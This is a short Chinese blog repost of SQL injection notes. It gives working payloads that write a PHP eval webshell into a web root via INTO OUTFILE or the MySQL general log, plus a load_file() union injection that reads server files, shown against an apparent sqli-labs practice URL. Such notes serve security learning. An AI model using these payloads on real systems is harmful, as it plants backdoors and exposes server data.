sql注入--高权限,load_file读写文件

Posted 晓枫v5

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入--高权限,load_file读写文件相关的知识,希望对你有一定的参考价值。

select \'<?php eval($_POST[123]) ?>\' into outfile \'/var/www/html/1.php\';

1.mysql新特性限制文件写入及替代方法

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限
secure_file_priv选项

secure_file_priv 

  1、限制mysqld 不允许导入 | 导出
        --secure_file_prive=null

  2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下
      --secure_file_priv=/tmp/

  3、不对mysqld 的导入 | 导出做限制
              --secure_file_priv= 

linux
cat /etc/my.cnf
    [mysqld]
    secure_file_priv= 

win
    my.ini
       [mysqld]
     secure_file_priv=

查看secure_file_priv

show global variables like \'%secure%\';

高权限注入遇到secure_file_priv

在mysql高版本的配置文件中默认没有secure_file_priv这个选项,但是你用SQL语句来查看secure_file_priv发现,没配置这个选项就是NULL,也就是说无法导出文件。

替代方法:
要知道路径

set global general_log=on;set global general_log_file=\'C:/phpStudy/WWW/123.php\';select \'<?php eval($_POST[123]) ?>\';


2高权限文件读写

load_file()读文件

http://test.com/sqli/Less-1/?id=-1\' union select 1,load_file(\'c:\\\\flag.txt\'),3 --+

1.路径使用\\\\ ,否则会被当作转义符号
2.路径使用/
3.盘符根路径下可用c:admin.txt
4.16进制文件名
5.char(路径ascii)

into outfile / into dumpfile写文件

参考连接:http://admintony.com/2017/11/24/MYSQL新特性限制文件写入及替代方法/

以上是关于sql注入--高权限,load_file读写文件的主要内容,如果未能解决你的问题,请参考以下文章

web安全sql注入权限&跨库&文件读写&命令执行

Mysql注入读写文件

php mysql下的load_file函数与into_out函数

通过sql注入漏洞读写文件获取webshell

细说——SQL注入

Mysql注入中的outfiledumpfileload_file函数详解